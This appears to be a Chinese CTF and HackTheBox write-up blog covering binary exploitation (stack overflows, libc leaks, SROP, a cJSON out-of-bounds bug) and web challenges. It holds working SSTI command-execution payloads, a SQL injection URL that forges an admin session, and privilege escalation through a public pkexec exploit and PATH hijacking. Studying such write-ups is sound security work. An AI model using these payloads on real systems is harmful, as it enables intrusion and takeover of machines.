但是这个功能有点沉于,首先这个猜测在一个循环里进行。但是这个循环由两参数控制game_over
和solved
控制,其中一个为真则循环结束。
而这个猜测有两个阶段:
第一个阶段要求输入这个字符,如何这个字符在目的字符里则显现出来。若输入不是一个字符则重新进入第一阶段。
第二阶段是输入一个字符串与目的字符串比较,若比较成功则solved为真。若二阶段进行了6次则game_over为真。
但是在布局时奇怪:
1 | *(_DWORD *)&state.words |
state.words
与state.game_over
两者相临,即state.word结束后的高地址就是state.game_over
.这样我们就有机会覆盖state.game_over
.
同时代码中用:
1 | strcpy(state.words[state.attempts], buffer); |
来写入words。
而strcpy有个特性:
strcpy,即string copy(字符串复制)的缩写。
strcpy是C++语言的一个标准函数 ,strcpy把含有‘\0’结束符的字符串复制到另一个地址空间,返回值的类型为char*。
换句话说,strcpy会在一个字符串后自动添加上’\x00’.
这样我们就有机会覆盖state.game_over
这样算我们输入6次就可以覆盖state.game_over
那么为什么我们正常运行时,很难发现这个问题?
因为我们在覆盖state.game_over
后,程序开始了下一次循环,strcpy(state.words[state.attempts], buffer);
将覆盖state.game_over
为我们输入的字符。这样’\x00’就被覆盖掉。因此我们得将state.game_over
为0进行保留。
但是若我们输入’\x00’,strlen(buffer)
将判断失败,无法写入state.words
.幸好,题目中留个异或:env()
函数.
1 | void __cdecl enc(char *words, int length) |
这样我们就可以输入‘\x34’字符来代替‘\x00’.从而无限制写入栈。
剩下就是简单栈溢出。
1 | #!/usr/bin/env python |
题目开了PIE 、canary,NX保护。
Arch: amd64-64-littleRELRO: Partial RELROStack: Canary foundNX: NX enabledPIE: PIE enabledRUNPATH: b'./glibc'
程序的mian函数伪代码:
1 | int __cdecl main(int argc, const char **argv, const char **envp) |
程序的主要逻辑简单,主要是注册(register)、登录(login)及退出(exit)3个功能。
我们进行跟进注册(register)可以看到:
1 | signed __int64 __fastcall register(__int64 a1) |
虽然,函数对我们输入的数据有合法的限制,但检测的是我们输入的数据长度。导致我们输入的数据可以小于我们原本设置的输入数据大小。
于是跟进到login函数:
1 | void login(const struct utmp *entry) |
在login函数的检测中,v1是由我们输入的“数据长度”。但我们实际的输入数据没那么多,导致可能我们泄露栈上数据。
我们分析getInput函数,getinput的作用是将数据一个一个字符写入:
1 | unsigned __int64 __fastcall getInput(__int64 a1, signed int a2) |
我们乍看,可以没用什么问题。用于输入的第二参数在调用前就被我们严格的限制。
但是在对字符串处理时,对0x20对应的字符’ ‘(空格)执行跳过,导致栈上原本存放的数据继续保留下来。
再加上之前,login的验证功能,导致我们可以一个个把部分栈上数据泄露出来。
再回到getInput函数,看反汇编代码看不出毛病,但是审计汇编代码:
1 | 0x00005630ed0c92fd <+0>: push rbp |
重点是这一个部分:
1 | 0x00005630ed0c9350 <+83>: movsx rdx,BYTE PTR [rbp-0x9] |
这段的本意是,完成反汇编代码*(_BYTE *)(a1 + i) = buf;
的作用,即,将一个字符放该存放它的地方,形成字符串。
但是由于使用了movsx
和movzx
两个指令,这两指令都是数据传送指令MOV的变体。movsx
是带符号扩展,并传送。movzx
是无符号扩展,并传送.因此在处理一些数据时,会有不同的表现。
例如:
1 | MOV BL,80H |
运行完以上MOVSX指令语句之后,AX的值为FF80H。由于BL为80H=1000 0000,最高位也即符号位为1,在进行带符号扩展时,其扩展的高8位均为1,故赋值AX为1111 1111 1000 0000,即AX=FF80H。而在运行完以上MOVZX指令语句之后,AX的值为0080H。由于BL为80H,最高位也即符号位为1,但在进行无符号扩展时,其扩展的高8位均为0,故赋值AX为0080H。
这特性导致,若在题目中中[rbp-0x9]中为0x80时, movsx eax,BYTE PTR [rbp-0x9]
执行后,eax值是0xffffffffffffff80
而非0x80
.导致在执行add rdx,rax
时rdx相加的不是0x80而是0xffffffffffffff80
.导致在rbx+0xffffffffffffff80
写入了数据。
同理,在判断循环(for ( i = 0; a2 > i && (signed int)read(0, &buf, 1uLL) > 0; ++i )
)是否结束是也用了movsx
指令
1 | 0x00005630ed0c9369 <+108>: add eax,0x1 |
由于是带符号比较,0x80
(正数)是肯定大于0xffffffffffffff80
(负数)。导致我们可以在输入0x80个字符后,继续写入字符。
通过gdb我们可以发现,在login函数栈上残留了_IO_2_1_stdout_
的数据和一个ELF段的地址。
我们可以利用在register写入猜测的地址数据和数据长度,即构造恶意数据长度为已知道的数据+一位猜测数据,通过login来一个个检验我们猜测是否准确。这样通过strncmp检测,若我们猜测数据对了则显示login成功,未猜对就显示失败。
这样我们慢慢leak出_IO_2_1_stdout_
的地址,由_IO_2_1_stdout_
是glib上的函数,我们间接得到了libc的base addr和 system等libc函数的地址和one_getgad的地址。
我们通过一个ELF段的地址上的地址,从而间接得到程序ELF段的基础地址,从而推测出bss段或某一个可写地址的大概位置。
之前我们知道getInput,有溢出的可能。经过gdb发现。getInput+0xffffffffffffff80
的位置恰好,离rbp和返回地址很近。
同时在getinput中我们的空格会保留栈上原本的数据。这样我们可以通过一定空格来到rbp和返回地址附近。从而,复写返回地址劫持rip,控制程序流。
因此流程下来的exp,
1 | #!/usr/bin/env python |
看上面最初exp时间,可以看到我很久就在本地解决出来但是什么最近才打通远程呢?
根本原因是netwrok,与htb靶机交换时间太长。这是一个非常影响体验感的问题。在远程中出错也无法即时排查。(ps:应该给个dockerfile)
其次,我leak数据过多了,不仅要leak libc地址,还有leak elf的地址。我在想只需要libc地址。同时,由于不了解自身本地环境与远程机的寄存器和栈环境,是否完全相同也无法轻易使用 one_gadget 。但查阅资料发现libc中自身存在一个/bin/sh
后门字符串。我们可以通过libc-database来查询得到这个地址,当然也可以用ROPgadget来找到这个地址。
1 | ROPgadget --binary ./glibc/libc.so.6 --string '/bin/sh' |
于是我用我写的工具libcfind(LibcSearcher_plus)来自动查询libc-database,验证本地与远程libc环境是否相同。
同时,我们用libc中自身存在一个/bin/sh
后门字符串,就不需要leak 程序的基地址只需要libc的基础地址。
由于就算开了PIE与NX,一个libc函数在x64在一位一定是\x7f
,末位一定是固定的。这样我们就可以少leak俩个位。加上不leak 程序的基地址。我们现在只需要leak 4位数大幅减少leak时间。让我们有更多机会试one_gadget 和system地址对齐的错。
1 | #!/usr/bin/env python |
进入页面,发现有一个输入接口:
按下F12查看源码:发现提示有/debug
路由。找到了源码提示:
1 | from flask import Flask, session, render_template, request, Response, render_template_string, g |
发现在rite_of_passage
函数的born2pwn
调用里存在ssti:
1 | report = render_template_string(acc_tmpl. |
render_template_string
的传参收到我们输入的name影响。
但是存在着两个问题:
1.无论输入什么都没用什么明显区别且有意义的回显。
2{ {
、'
、"
这几个符号被ban。
但是无意中发现,开了报错页面
因此我们可以用include 和报错来回显我们输入内容。同时,用request.args
来传递参数来传递字符串来绕过引号。
构造payload:
1 | name={%25include%201.__class__.__base__.__subclasses__()[-6].__init__.__globals__.os.popen(request.args.xxx).read()|string%25}&xxx=cat%20f* |
、从而得到flag:
在查看其他大佬的思路时发现他们是利用session.update
来更新session来回显。
session.update
方法可以根据我们传入的字典来重新生成session,用法:
1 | session.update(dict) |
于是构造payload:
1 | name={%print%20session.update({dict(a=1)|list|last:1.__class__.__base__.__subclasses__()[-6].__init__.__globals__.os.popen(request.args.xxx).read()})%}&xxx=cat%20fA* |
解base64后得到flag
1 | lexs@DESKTOP-MAKMNL3:~$ echo eyJhIjp7IiBiIjoiU0ZSQ2UySTBZbmxmYm1sdWFqUnpYMlF3Ym5SZlp6TjBYM0YxTUhRelpGOHdjbDlqTkhWbmFGUjl |
https://www.zapstiko.com/baby-ninja-jinja-challenge-htb-by-raihan-biswas/
]]>分析题目源码:
1 | class NeonControllers < Sinatra::Base |
发现题目是ruby语言写的后端。进行代码审计发现if params[:neon] =~ /^[0-9a-z ]+$/i
发现存在换行绕过。
于是neon=1111%0axxxxj!<>
绕过正则限制.
然后,一下找不到什么利用点了,但是百度下ERB发现是Embedded RuBy的简称,意思是嵌入式的Ruby,是一种文本模板技术.语法为:
1 | <% %> |
其中提到一个例子:
1 | sqlTemplate = ERB.new %q{ |
因此猜测在ERB.new(params[:neon]).result(binding)
处用ssti.
我们可以通过<% %>
来执行代码,但是我们看不到回显。下面例子可以看到程序因为找不到xxx而报错。说明我们的代码被执行了。
但是传统的system,exec都无法直接回显。都要通过vps反弹shell。
通过收集资料发现:
1 | file = '|whoami' |
open可以回显出命令执行结果。
因此我们构造payload即可得到flag
neon=1111%0axxxxj!</h1><%25=open('|cat f*').read()%25><h1>
https://www.cnblogs.com/cuimiemie/p/6442695.html
https://droidyue.com/blog/2014/11/18/six-ways-to-run-shell-in-ruby/
]]>拿到题目先用nmap执行:
1 | nmap -sS -sU 10.10.11.136 |
扫描下其端口服务:
1 | └─# nmap -sS -sU 10.10.11.136 |
发现有熟悉的80端口,用浏览器去访问下
发现除了静态前端外,基本没有什么敏感点。
除了有一次看起来有问题的信息反馈,但测试下在我们前端并无明显反馈,且不像用sql注入之内的的漏洞,更像是功能没用写全……
然后看下DNS映射,Pandora.htb
域名对外映射的就是我们访问的web服务。
没用什么思路,用dirseach 扫描下路径看下有没有什么有用的信息。
执行:
1 | python3 dirsearch.py -u 10.10.11.136 |
得到结果:
仔细审查下,发现assets目录貌似有一个目录穿越
然后发现都跟页面显示相关……没有什么可以利用点。
回到nmap信息,发现除了ssh服务和web服务还有snmp服务:
1 | 161/udp open|filtered snmp |
先用searchsploit snmp
查询下发现这个服务还挺多问题的:
通过谷歌找了篇文章来了解snmp的大概:
https://www.anquanke.com/post/id/260832
了解到SNMP协议主要用来接收网络节点的通知消息和警告时间报告等,从而获知网络出现的问题。
而文章中提到了一种工具 snmpwalk,snmpwalk是SNMP的一个工具,它使用SNMP的GETNEXT请求查询指定OID(SNMP协议中的对象标识)入口的所有OID树信息,并显示给用户。snmpwalk使用方法很简单,如下
1 | snmpwalk -v 1或2c(代表SNMP版本) -c SNMP读团体密码 IP地址 OID(对象标示符) |
具体可以查看:
https://www.cnblogs.com/--smile/p/11086770.html
执行命令:
1 | snmpwalk -v 2c Pandora.htb –c public > 1.txt |
在1.txt 发现一个有意识的命令执行记录:
推测是有个用户名为dantel 密码为HotelBabylon23
用ssh 登录看看
发现成功登录,但user flag 在另一个用户目录下没有权限读取。
这里用lsb_release -a
和uname -r
来查询发行版本与内核版本。
发现是Ubuntu 20.04.3 LTS,于是谷歌下发现有CVE-2021-4034提取。在github上找了个poc:
https://github.com/nikaiw/CVE-2021-4034/blob/master/cve2021-4034.py
用python 来搭建简单http服务:
1 | python3 -m http.server 9090 |
执行上面命令。在自己的电脑9090端口开启web服务。
在靶场机器上执行wget 10.10.14.94:9090/cve2021-4034.py
来获取poc:
执行poc,来获得root:
这里一下全到root才发现自己可能非预期了,但已经有权限读取root.txt和user.txt了
在看了其他大佬wp发现自己完全避开,关键点…..tcl.
由于daniel用法在curl 80端口时出现不同页面,所有怀疑有内网服务。
用命令:
1 | ssh -L 8001:127.0.0.1:80 daniel@10.10.11.136 |
来转发端口,可以看到有个全新web页面
根据下方提示版本,谷歌后发现是Pandora模板(正好点题)
d但是我们不知道后台密码,经过谷歌后发现CVE-2021-32099可以通过sql注入获得admin cookie
poc 如下:
1 | http://localhost:8000/pandora_console/include/chart_generator.php?session_id=a%27%20UNION%20SELECT%20%27a%27,1,%27id_usuario|s:5:%22admin%22;%27%20as%20data%20FROM%20tsessions_php%20WHERE%20%271%27=%271 |
然后我们进入管理页面,
在后门页面的admin tools 的文件管理里上传后门反弹shell文件
通过base64 解密url中base64部分得到相对位置。
1 | └─# echo L3BhbmRvcmFfY29uc29sZS9pbmNsdWRlLy4uLy9hdHRhY2htZW50L2ZpbGVzX3JlcG8vMV9hYWEucGhw|base64 -d |
访问后门得到shell
用find / -perm -u=s 2> /dev/null
找是否用权限配置有问题的命令
1 | /usr/bin/sudo |
发现/usr/bin/pandora_backup 有点可疑。
运行后,shell崩了,可能用什么报错信息未看到,用python 加固shell
1 | python3 -c 'import pty; pty.spawn("/bin/bash")' |
cp pandora_backup 到web 目录/var/www/pandora/pandora_console/images
下,在我们用户机器上访问下载。
在ida 里F5反汇编:
1 | int __cdecl main(int argc, const char **argv, const char **envp) |
发现程序调用tar 但是使用system来调用,没用明确是哪个tar,我们可以伪造一个tar添加到环境变量中,让系统调用我们就可
切换到matt的用户目录,然后创建由/bin/bash
一个假的tar可执行文件,并将matt的家路径注入PATH变量中,这样可以在tar -cvf /root/.backup/pandora-backup.tar.gz /var/www/pandora/pandora_console/*
命令结束后仍然在/bin/bash命令中
这是本地用/bin/sh做的实验:
1 | └─# ./tar -cvf /root/.backup/pandora-backup.tar.gz /var/www/pandora/pandora_console |
因此我们在远程伪造
1 | cd /home/matt/ |
然后得到root
]]>真ez pwn 题目给了后门,栈溢出改RIP为后门地址。
1 | #!/usr/bin/env python |
题目给了后门。分析程序流程,发现题目有个任意执行写,篡改put函数的got表值虫二劫持got表运行后门
1 | #!/usr/bin/env python |
题目欺诈,实际上考的是SROT与写shell。
即及利用SPOT在一块可以控制地址区域写入shellcode,让后再调用shellcode。
但要注意的是这里连续调用两次syscall.
第一次我们利用syscall 通过SYS_rt_sigreturn 劫持栈与程序流。
但是SYS_rt_sigreturn的系统调用号为0xf
.
因此我们用利用x64下系统调用read的返回值为输入字符数来篡改返回值(rax)为0xf
同时,由于我们连续调用syscall,且rt_sigreturn破坏原本栈结构。我们伪造的signal Frame
也要注意各寄存器外,uc_stack
和Segment Registers(SS, FS, GS, CS)
等参数也要注意实际情况。
1 | #推荐模板: |
同时,由于SYS_rt_sigreturn的返回值刚好为0,即read的系统调用号,我们就可以直接将RIP修改为syscall地址。就可以执行sys_read调用写入并指向shellcode
完整exp:
1 | #!/usr/bin/env python |
1 | Arch: amd64-64-little |
分析环境,发现题目没有开启canary,并且自带一个so文件。
分析主程序流程发现逻辑很简单,
1 | int __cdecl __noreturn main(int argc, const char **argv, const char **envp) |
两次输入长度达0xe的字符串,然后放入cJSON_Minify
函数进行处理。
cJSON_Minify
函数在so文件中源码如下:
1 | char *__fastcall cJSON_Minify(char *a1) |
然后输出处理后,第二次输入的字符串的前8位。
这里在cJSON_Minify
函数中有个两个问题,第一个是越界(即cJSON_Minify
第89-92行):
1 | { |
当字符串中有\*
开头时,会不断遍历剩下字符直到遇到\x00
或*/
。但这里没有写仔细,如果遇到*/
最后str_a1 += 2;
是合理的但是遇到的是\x00
就有越界的风险。
第二个问题是在对一般字符处理时(即cJSON_Minify
第81-84行):
1 | v14 = str_a1++; |
在对正常字符处理时,cJSON_Minify
函数str_a1
处的数据放入last
处,在正常情况下,str_a1的位置和last的位置是一样的。但是如果触发了问题一中的越界,那么str_a1
指向我们字符串为\x00
的位置还要+1的地方,而last处的还指向字符串的’/‘字符的位置。达成了,越界写。
就这个题目而言,如果我们输入的字符分别为:
1 | ”xxxxxxxx/*oooo“ #第一次的字符串 |
那么,在处理前栈上的数据为:
1 | 0x7ffc7f8d67b0: "xxxxxxxx/*oooo" |
在处理后,第一次字符串中的/*oooo\x00
被替换成了第二个字符串中同等长度的字符12345678
。
1 | 0x7ffc7f8d67b0: "xxxxxxxx1234567890qqqq" |
同时,若在第二次字符中还有 /*
则将会在再次触发上面的步骤。
经过测试后发现
1 | buf: xxxxxxxxxxxx/* v6:1111/*qqqqqqqq |
正好4次输入正好可以泄露出flag。
1 | #!/usr/bin/env python |
在查阅这个题资料时发现这原理是一个信息收集题,orw…
搜索程序的文件可以看一个github项目:
这里就一个看到一个security报告。
这里就提到/*
的报告,链接https://github.com/DaveGamble/cJSON/issues/338
这个签到都这么有意思,其他题一定也都很有趣吧….
]]>